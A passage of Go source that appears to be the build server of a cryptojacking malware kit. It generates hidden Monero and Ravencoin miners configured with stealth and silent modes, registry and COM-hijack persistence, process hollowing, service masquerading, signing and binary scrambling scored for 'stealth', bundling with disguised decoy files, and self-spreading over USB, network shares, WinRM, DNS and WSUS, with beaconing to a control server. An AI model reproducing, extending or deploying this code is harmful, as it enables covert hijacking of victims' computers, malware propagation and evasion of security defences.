signed := false
|
||
if h.shouldSignBuild(req) {
|
||
h.setProgress(req.CancelToken, "Signing binary", 95)
|
||
if err := h.signExecutable(finalPath); err != nil {
|
||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||
}
|
||
signed = true
|
||
if exportPath != "" && exportPath != finalPath {
|
||
_ = h.signExecutable(exportPath)
|
||
}
|
||
}
|
||
|
||
scrambled := false
|
||
fingerprint := ""
|
||
if shouldSigilScramble(req) {
|
||
h.setProgress(req.CancelToken, "Scrambling sigil", 97)
|
||
fp, err := ApplySigilScramble(finalPath, buildID)
|
||
if err != nil {
|
||
log.Printf("[Forge] sigil scramble: %v", err)
|
||
} else {
|
||
scrambled = true
|
||
fingerprint = fp
|
||
if exportPath != "" && exportPath != finalPath {
|
||
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
|
||
_ = fp2
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
fileInfo, err := os.Stat(finalPath)
|
||
if err != nil {
|
||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||
}
|
||
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
||
_ = os.RemoveAll(buildDir)
|
||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||
}
|
||
|
||
absPath, _ := filepath.Abs(finalPath)
|
||
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
||
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||
}
|
||
|
||
// Normalise platform tag for easy lookup by /get endpoint
|
||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||
if recordPlatform == "" {
|
||
recordPlatform = "windows"
|
||
}
|
||
|
||
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||
if bundleDownloadURL != "" {
|
||
dlURL = bundleDownloadURL
|
||
}
|
||
buildRecord := &models.BuildRecord{
|
||
ID: buildID,
|
||
WorkerName: req.WorkerName,
|
||
ServerURL: req.ServerURL,
|
||
Wallet: req.Wallet,
|
||
Threads: req.Threads,
|
||
FileSize: fileInfo.Size(),
|
||
BundleSize: bundleSize,
|
||
FilePath: absPath,
|
||
FileName: finalName,
|
||
DownloadURL: dlURL,
|
||
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
|
||
Platform: recordPlatform,
|
||
CreatedAt: time.Now(),
|
||
PoolHost: req.PoolHost,
|
||
PoolPort: req.PoolPort,
|
||
PoolTLS: req.PoolTLS,
|
||
PoolPass: req.PoolPass,
|
||
}
|
||
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||
log.Printf("Failed to record build: %v", err)
|
||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||
}
|
||
|
||
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||
|
||
resp := BuildResponse{
|
||
Success: true,
|
||
BuildID: buildID,
|
||
FileName: finalName,
|
||
FilePath: absPath,
|
||
RelativePath: relPath,
|
||
FileSize: fileInfo.Size(),
|
||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||
UninstallFileName: uninstallName,
|
||
UninstallPath: uninstallPath,
|
||
UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID),
|
||
ExportPath: exportPath,
|
||
UninstallExportPath: "",
|
||
FusionEnabled: fusionEnabled,
|
||
FusionExportDir: fusionExportDir,
|
||
ExtraFiles: extraArtifacts,
|
||
BundleFileName: bundleFileName,
|
||
BundleDownloadURL: bundleDownloadURL,
|
||
BundleSize: bundleSize,
|
||
WorkerFile: workerName,
|
||
Signed: signed,
|
||
Obfuscated: obfuscated,
|
||
SigilScramble: scrambled,
|
||
BinaryFingerprint: fingerprint,
|
||
StealthScore: StealthScore(obfuscated, scrambled, signed),
|
||
}
|
||
if fusionEnabled && bundleDownloadURL != "" {
|
||
resp.DownloadURL = bundleDownloadURL
|
||
resp.FileName = bundleFileName
|
||
if bundleSize > 0 {
|
||
resp.FileSize = bundleSize
|
||
}
|
||
}
|
||
return resp, http.StatusOK, finalPath
|
||
}
|
||
|
||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||
func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) {
|
||
if h.projectRoot == "" || h.projectRoot == "." {
|
||
abs, _ := filepath.Abs(finalPath)
|
||
return abs, nil
|
||
}
|
||
dest := filepath.Join(h.projectRoot, filepath.Base(finalName))
|
||
if err := copyFile(finalPath, dest); err != nil {
|
||
return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err)
|
||
}
|
||
log.Printf("[Builder] Forge output -> %s", dest)
|
||
return dest, nil
|
||
}
|
||
|
||
// exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports).
|
||
func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) {
|
||
clean := strings.TrimSpace(outputDir)
|
||
if clean == "" {
|
||
return "", "", nil
|
||
}
|
||
clean = filepath.Clean(clean)
|
||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) {
|
||
return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)")
|
||
}
|
||
|
||
exportDir := ""
|
||
if h.projectRoot != "" {
|
||
exportDir = filepath.Join(h.projectRoot, clean)
|
||
} else {
|
||
exportDir = filepath.Join(h.dataDir, clean)
|
||
}
|
||
if err := os.MkdirAll(exportDir, 0755); err != nil {
|
||
return "", "", fmt.Errorf("failed to create export folder: %w", err)
|
||
}
|
||
|
||
exportExe := filepath.Join(exportDir, finalName)
|
||
if err := copyFile(finalPath, exportExe); err != nil {
|
||
return "", "", fmt.Errorf("failed to export build: %w", err)
|
||
}
|
||
exportUninstall := filepath.Join(exportDir, uninstallName)
|
||
_ = copyFile(uninstallPath, exportUninstall)
|
||
|
||
log.Printf("[Builder] Exported %s -> %s", finalName, exportExe)
|
||
return exportExe, exportUninstall, nil
|
||
}
|
||
|
||
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||
if req.WorkerName == "" {
|
||
return fmt.Errorf("worker_name is required")
|
||
}
|
||
if req.ServerURL == "" {
|
||
return fmt.Errorf("server_url is required")
|
||
}
|
||
if req.Wallet == "" {
|
||
return fmt.Errorf("wallet is required")
|
||
}
|
||
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
|
||
}
|
||
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
||
if req.OutputDir != "" {
|
||
// must be relative to data_dir; no drive letters, no absolute paths, no traversal
|
||
clean := filepath.Clean(req.OutputDir)
|
||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
|
||
return fmt.Errorf("output_dir must be a relative folder under data_dir")
|
||
}
|
||
req.OutputDir = clean
|
||
}
|
||
// Cap slice lengths to prevent huge generated source files.
|
||
const maxBackupPools = 10
|
||
if len(req.BackupServerURLs) > maxBackupPools {
|
||
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
|
||
}
|
||
if len(req.BackupPools) > maxBackupPools {
|
||
req.BackupPools = req.BackupPools[:maxBackupPools]
|
||
}
|
||
if len(req.RVNBackupPools) > maxBackupPools {
|
||
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
|
||
}
|
||
|
||
if req.Threads <= 0 {
|
||
req.Threads = 4
|
||
}
|
||
if req.ThreadMode == "" {
|
||
req.ThreadMode = "percent"
|
||
}
|
||
if req.ThreadPercent <= 0 {
|
||
req.ThreadPercent = 75
|
||
}
|
||
if req.ThreadPercent > 100 {
|
||
req.ThreadPercent = 100
|
||
}
|
||
if req.DisplayMode == "" {
|
||
if req.SilentMode {
|
||
req.DisplayMode = "silent"
|
||
} else {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.Persistence {
|
||
req.AutoStart = true
|
||
}
|
||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||
normalizeRegistryPersistence(req)
|
||
if req.ProcessName == "" {
|
||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||
}
|
||
if req.MaxMemoryPct <= 0 {
|
||
req.MaxMemoryPct = 85
|
||
}
|
||
if req.CPUPriority == "" {
|
||
req.CPUPriority = "below_normal"
|
||
}
|
||
if req.MiningMode == "" {
|
||
req.MiningMode = "always"
|
||
}
|
||
if req.MinerExecution == "" {
|
||
req.MinerExecution = "inprocess"
|
||
}
|
||
if req.RunAs == "" {
|
||
req.RunAs = "user"
|
||
}
|
||
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
|
||
req.HostBinaryTarget = "ssh"
|
||
}
|
||
if req.MaxCPUUsagePct <= 0 {
|
||
req.MaxCPUUsagePct = 95
|
||
}
|
||
if req.MinFreeRAMMB <= 0 {
|
||
req.MinFreeRAMMB = 512
|
||
}
|
||
if req.IdleThresholdPct <= 0 {
|
||
req.IdleThresholdPct = 20
|
||
}
|
||
if req.IdleDurationMinutes <= 0 {
|
||
req.IdleDurationMinutes = 5
|
||
}
|
||
if req.ScheduleStart == "" {
|
||
req.ScheduleStart = "21:00"
|
||
}
|
||
if req.ScheduleEnd == "" {
|
||
req.ScheduleEnd = "06:00"
|
||
}
|
||
if req.InstallBase == "" {
|
||
req.InstallBase = "localappdata"
|
||
}
|
||
if req.InstallRelativePath == "" {
|
||
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||
}
|
||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||
}
|
||
if req.StealthMode {
|
||
req.FileLogging = false
|
||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.PoolHost == "" {
|
||
req.PoolHost = "pool.supportxmr.com"
|
||
}
|
||
if req.PoolPort <= 0 {
|
||
req.PoolPort = 3333
|
||
}
|
||
if req.PoolPass == "" {
|
||
req.PoolPass = "x"
|
||
}
|
||
if req.FusionEnabled {
|
||
if req.FusionRunOrder == "" {
|
||
req.FusionRunOrder = "parallel"
|
||
}
|
||
if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" {
|
||
if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" {
|
||
req.FusionOutputName = disguisedRunnerName(base)
|
||
} else if req.FusionOutputName == "" {
|
||
req.FusionOutputName = "prep.exe"
|
||
}
|
||
}
|
||
if req.FusionMediaMode == "" {
|
||
req.FusionMediaMode = "paired"
|
||
}
|
||
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
|
||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.AIEnabled {
|
||
if req.AIOllamaEndpoint == "" {
|
||
req.AIOllamaEndpoint = "http://localhost:11434"
|
||
}
|
||
if req.AIModel == "" {
|
||
req.AIModel = "llama3.2"
|
||
}
|
||
}
|
||
if strings.TrimSpace(req.TargetOS) == "" {
|
||
req.TargetOS = "windows"
|
||
}
|
||
if req.SpreadKit {
|
||
req.FusionEnabled = false
|
||
req.TargetOS = "universal"
|
||
if req.RunAs == "" || req.RunAs == "user" {
|
||
req.RunAs = "scheduled"
|
||
}
|
||
req.Persistence = true
|
||
req.AutoStart = true
|
||
}
|
||
if req.LotlOnionEnabled {
|
||
ApplyLotlOnionPreset(req)
|
||
}
|
||
req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode)
|
||
return nil
|
||
}
|
||
|
||
func normalizeLinuxLOTLMode(mode string) string {
|
||
switch strings.ToLower(strings.TrimSpace(mode)) {
|
||
case "systemd_run_user", "crontab", "both":
|
||
return strings.ToLower(strings.TrimSpace(mode))
|
||
default:
|
||
return "off"
|
||
}
|
||
}
|
||
|
||
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||
if header == nil {
|
||
return "", nil, fmt.Errorf("fusion upload is missing")
|
||
}
|
||
if header.Size > FusionMaxUploadBytes {
|
||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||
}
|
||
if header.Size < 0 {
|
||
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
|
||
}
|
||
baseName := filepath.Base(header.Filename)
|
||
if baseName == "" || baseName == "." {
|
||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||
}
|
||
if !isFusionPayloadExt(baseName) {
|
||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||
}
|
||
|
||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||
if err := os.MkdirAll(prepRoot, 0755); err != nil {
|
||
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
|
||
}
|
||
dir, err := os.MkdirTemp(prepRoot, "upload-*")
|
||
if err != nil {
|
||
return "", nil, err
|
||
}
|
||
dest := filepath.Join(dir, sanitizeFileName(baseName))
|
||
out, err := os.Create(dest)
|
||
if err != nil {
|
||
os.RemoveAll(dir)
|
||
return "", nil, err
|
||
}
|
||
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
|
||
out.Close()
|
||
if err != nil {
|
||
os.RemoveAll(dir)
|
||
return "", nil, err
|
||
}
|
||
if written == 0 {
|
||
os.RemoveAll(dir)
|
||
return "", nil, fmt.Errorf("fusion upload is empty")
|
||
}
|
||
if written > FusionMaxUploadBytes {
|
||
os.RemoveAll(dir)
|
||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||
}
|
||
cleanup := func() { _ = os.RemoveAll(dir) }
|
||
return dest, cleanup, nil
|
||
}
|
||
|
||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||
func isFusionPayloadExt(name string) bool {
|
||
ext := strings.ToLower(filepath.Ext(name))
|
||
return ext != "" && ext != "."
|
||
}
|
||
|
||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||
// Build ID: %s
|
||
// Generated at: %s
|
||
|
||
package config
|
||
|
||
import "time"
|
||
|
||
func GetBuiltinConfig() BuiltinConfig {
|
||
return BuiltinConfig{
|
||
WorkerName: %q,
|
||
ServerURL: %q,
|
||
Wallet: %q,
|
||
Threads: %d,
|
||
ThreadMode: %q,
|
||
ThreadPercent: %d,
|
||
CPUPriority: %q,
|
||
MiningMode: %q,
|
||
MinerExecution: %q,
|
||
DisplayMode: %q,
|
||
SilentMode: %v,
|
||
RunAs: %q,
|
||
HostBinaryTarget: %q,
|
||
AutoStart: %v,
|
||
AutostartMode: %q,
|
||
RegistryPersistence: %q,
|
||
RegistryRunHKCU: %v,
|
||
RegistryRunHKLM: %v,
|
||
RegistryRunOnce: %v,
|
||
RegistryExplorerRun: %v,
|
||
ProcessName: %q,
|
||
BuildID: %q,
|
||
BuiltAt: time.Unix(%d, 0),
|
||
PoolHost: %q,
|
||
PoolPort: %d,
|
||
PoolTLS: %v,
|
||
PoolPass: %q,
|
||
MaxCPUUsage: %d,
|
||
MaxMemoryPct: %d,
|
||
MinFreeRAM: %d,
|
||
IdleThresholdPct: %d,
|
||
IdleDurationMinutes: %d,
|
||
ScheduleStart: %q,
|
||
ScheduleEnd: %q,
|
||
InstallBase: %q,
|
||
InstallCustomBase: %q,
|
||
InstallRelativePath: %q,
|
||
AdaptToHardware: %v,
|
||
SelfHealing: %v,
|
||
FileLogging: %v,
|
||
StealthMode: %v,
|
||
FirewallExclusion: %v,
|
||
AIEnabled: %v,
|
||
AIOllamaEndpoint: %q,
|
||
AIModel: %q,
|
||
ProcessHollowing: %v,
|
||
MeshP2P: %v,
|
||
AutoSpread: %v,
|
||
HolePunch: %v,
|
||
RemoteAggressive: %v,
|
||
USBSpread: %v,
|
||
ShareSpread: %v,
|
||
WinRMSpread: %v,
|
||
DnsTxtSpread: %v,
|
||
WebRTCMeshSpread: %v,
|
||
WSUSCachePeerSpread: %v,
|
||
COMHijackPersist: %v,
|
||
LinuxLOTLMode: %q,
|
||
BackupServerURLs: %s,
|
||
BackupPools: %s,
|
||
ServiceMasquerade: %v,
|
||
ServiceName: %q,
|
||
ServiceDonor: %q,
|
||
FleetSecret: %q,
|
||
|
||
// GPU / Ravencoin mining
|
||
GPUEnabled: %v,
|
||
RVNWallet: %q,
|
||
RVNPoolHost: %q,
|
||
RVNPoolPort: %d,
|
||
RVNPoolTLS: %v,
|
||
RVNPoolPass: %q,
|
||
RVNBackupPools: %s,
|
||
|
||
BeaconIntervalSec: %d,
|
||
BeaconJitterPct: %d,
|
||
AgentKillAfterDays: %d,
|
||
HTTPSBeaconFallback: %v,
|
||
HTTPSBeaconAfterMin: %d,
|
||
|
||
LotlOnionEnabled: %v,
|
||
LotlPolicyFromServer: %v,
|
||
LotlOnionTiers: %s,
|
||
}
|
||
}
|
||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||
req.WorkerName,
|
||
req.ServerURL,
|
||
req.Wallet,
|
||
req.Threads,
|
||
req.ThreadMode,
|
||
req.ThreadPercent,
|
||
req.CPUPriority,
|
||
req.MiningMode,
|
||
req.MinerExecution,
|
||
req.DisplayMode,
|
||
req.SilentMode,
|
||
req.RunAs,
|
||
req.HostBinaryTarget,
|
||
req.AutoStart,
|
||
strings.TrimSpace(req.AutostartMode),
|
||
strings.TrimSpace(req.RegistryPersistence),
|
||
req.RegistryRunHKCU,
|
||
req.RegistryRunHKLM,
|
||
req.RegistryRunOnce,
|
||
req.RegistryExplorerRun,
|
||
req.ProcessName,
|
||
buildID,
|
||
time.Now().Unix(),
|
||
req.PoolHost,
|
||
req.PoolPort,
|
||
req.PoolTLS,
|
||
req.PoolPass,
|
||
req.MaxCPUUsagePct,
|
||
req.MaxMemoryPct,
|
||
req.MinFreeRAMMB,
|
||
req.IdleThresholdPct,
|
||
req.IdleDurationMinutes,
|
||
req.ScheduleStart,
|
||
req.ScheduleEnd,
|
||
req.InstallBase,
|
||
req.InstallCustomBase,
|
||
req.InstallRelativePath,
|
||
req.AdaptToHardware,
|
||
req.SelfHealing,
|
||
req.FileLogging,
|
||
req.StealthMode,
|
||
req.FirewallExclusion,
|
||
req.AIEnabled,
|
||
req.AIOllamaEndpoint,
|
||
req.AIModel,
|
||
req.ProcessHollowing,
|
||
req.MeshP2P,
|
||
req.AutoSpread,
|
||
req.HolePunch,
|
||
req.RemoteAggressive,
|
||
req.USBSpread,
|
||
req.ShareSpread,
|
||
req.WinRMSpread,
|
||
req.DnsTxtSpread,
|
||
req.WebRTCMeshSpread,
|
||
req.WSUSCachePeerSpread,
|
||
req.COMHijackPersist,
|
||
req.LinuxLOTLMode,
|
||
formatGoStringSlice(req.BackupServerURLs),
|
||
formatGoBackupPools(req.BackupPools),
|
||
serviceMasqueradeEnabled(req),
|
||
serviceMasqueradeName(buildID, req),
|
||
serviceMasqueradeDonor(buildID, req),
|
||
h.fleetSecret,
|
||
req.GPUEnabled,
|
||
req.RVNWallet,
|
||
rvnPoolHost(req),
|
||
rvnPoolPort(req),
|
||
req.RVNPoolTLS,
|
||
rvnPoolPass(req),
|
||
formatGoBackupPools(req.RVNBackupPools),
|
||
req.BeaconIntervalSec,
|
||
req.BeaconJitterPct,
|
||
req.AgentKillAfterDays,
|
||
httpsBeaconFallbackEnabled(req),
|
||
httpsBeaconAfterMin(req),
|
||
req.LotlOnionEnabled,
|
||
req.LotlPolicyFromServer,
|
||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||
)
|
||
}
|
||
|
||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||
if req.HTTPSBeaconFallback {
|
||
return true
|
||
}
|
||
for _, u := range req.BackupServerURLs {
|
||
if strings.TrimSpace(u) != "" {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||
if req.HTTPSBeaconAfterMin > 0 {
|
||
return req.HTTPSBeaconAfterMin
|
||
}
|
||
return 3
|
||
}
|
||
|
||
func rvnPoolHost(req *BuildRequest) string {
|
||
if req.RVNPoolHost == "" {
|
||
return "rvn.2miners.com"
|
||
}
|
||
return req.RVNPoolHost
|
||
}
|
||
|
||
func rvnPoolPort(req *BuildRequest) int {
|
||
if req.RVNPoolPort <= 0 {
|
||
return 6060
|
||
}
|
||
return req.RVNPoolPort
|
||
}
|
||
|
||
func rvnPoolPass(req *BuildRequest) string {
|
||
if req.RVNPoolPass == "" {
|
||
return "x"
|
||
}
|
||
return req.RVNPoolPass
|
||
}
|
||
|
||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||
func formatGoBackupPools(pools []BackupPool) string {
|
||
if len(pools) == 0 {
|
||
return "nil"
|
||
}
|
||
var sb strings.Builder
|
||
sb.WriteString("[]BackupPool{")
|
||
for i, p := range pools {
|
||
if i > 0 {
|
||
sb.WriteString(", ")
|
||
}
|
||
pass := p.Pass
|
||
if pass == "" {
|
||
pass = "x"
|
||
}
|
||
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||
}
|
||
sb.WriteString("}")
|
||
return sb.String()
|
||
}
|
||
|
||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||
return req.RunAs == "service" || req.ProcessHollowing
|
||
}
|
||
|
||
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
|
||
if !serviceMasqueradeEnabled(req) {
|
||
return ""
|
||
}
|
||
name, _ := pickServiceMasquerade(buildID)
|
||
return name
|
||
}
|
||
|
||
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
|
||
if !serviceMasqueradeEnabled(req) {
|
||
return ""
|
||
}
|
||
_, donor := pickServiceMasquerade(buildID)
|
||
return donor
|
||
}
|
||
|
||
func (h *Handler) copyAgentSource(destDir string) error {
|
||
srcDir := h.agentSrcDir
|
||
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
||
if err != nil {
|
||
return err
|
||
}
|
||
relPath, err := filepath.Rel(srcDir, path)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
|
||
return nil
|
||
}
|
||
destPath := filepath.Join(destDir, relPath)
|
||
if info.IsDir() {
|
||
return os.MkdirAll(destPath, 0755)
|
||
}
|
||
if info.Mode()&os.ModeSymlink != 0 {
|
||
return nil
|
||
}
|
||
ext := filepath.Ext(path)
|
||
base := filepath.Base(path)
|
||
if ext != ".go" && base != "go.mod" && base != "go.sum" {
|
||
return nil
|
||
}
|
||
return copyFile(path, destPath)
|
||
})
|
||
}
|
||
|
||
func copyFile(src, dest string) error {
|
||
in, err := os.Open(src)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
defer in.Close()
|
||
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
|
||
return err
|
||
}
|
||
out, err := os.Create(dest)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
defer out.Close()
|
||
_, err = io.Copy(out, in)
|
||
return err
|
||
}
|
||
|
||
func looksLikeXMRWallet(addr string) bool {
|
||
a := strings.TrimSpace(addr)
|
||
if len(a) < 90 || len(a) > 106 {
|
||
return false
|
||
}
|
||
if a[0] != '4' {
|
||
return false
|
||
}
|
||
for i := 1; i < len(a); i++ {
|
||
c := a[i]
|
||
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
|
||
continue
|
||
}
|
||
return false
|
||
}
|
||
return true
|
||
}
|
||
|
||
func formatGoStringSlice(values []string) string {
|
||
if len(values) == 0 {
|
||
return "nil"
|
||
}
|
||
parts := make([]string, 0, len(values))
|
||
for _, v := range values {
|
||
v = strings.TrimSpace(v)
|
||
if v != "" {
|
||
parts = append(parts, fmt.Sprintf("%q", v))
|
||
}
|
||
}
|
||
if len(parts) == 0 {
|
||
return "nil"
|
||
}
|
||
return "[]string{" + strings.Join(parts, ", ") + "}"
|
||
}
|
||
|
||
func sanitizeFileName(name string) string {
|
||
replacer := strings.NewReplacer(
|
||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||
)
|
||
return replacer.Replace(name)
|
||
}
|
||
|
||
// safePathUnderRoot resolves name under root and rejects traversal escapes.
|
||
func safePathUnderRoot(root, name string) (string, error) {
|
||
if name == "" || strings.Contains(name, "..") {
|
||
return "", fmt.Errorf("invalid path")
|
||
}
|
||
cleanName := filepath.Clean(name)
|
||
if filepath.IsAbs(cleanName) {
|
||
return "", fmt.Errorf("invalid path")
|
||
}
|
||
absRoot, err := filepath.Abs(root)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
full := filepath.Join(absRoot, cleanName)
|
||
absFull, err := filepath.Abs(full)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
|
||
return "", fmt.Errorf("path escapes root")
|
||
}
|
||
return absFull, nil
|
||
}
|
||
|
||
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
||
w.Header().Set("Content-Type", "application/json")
|
||
w.WriteHeader(status)
|
||
json.NewEncoder(w).Encode(v)
|
||
}
|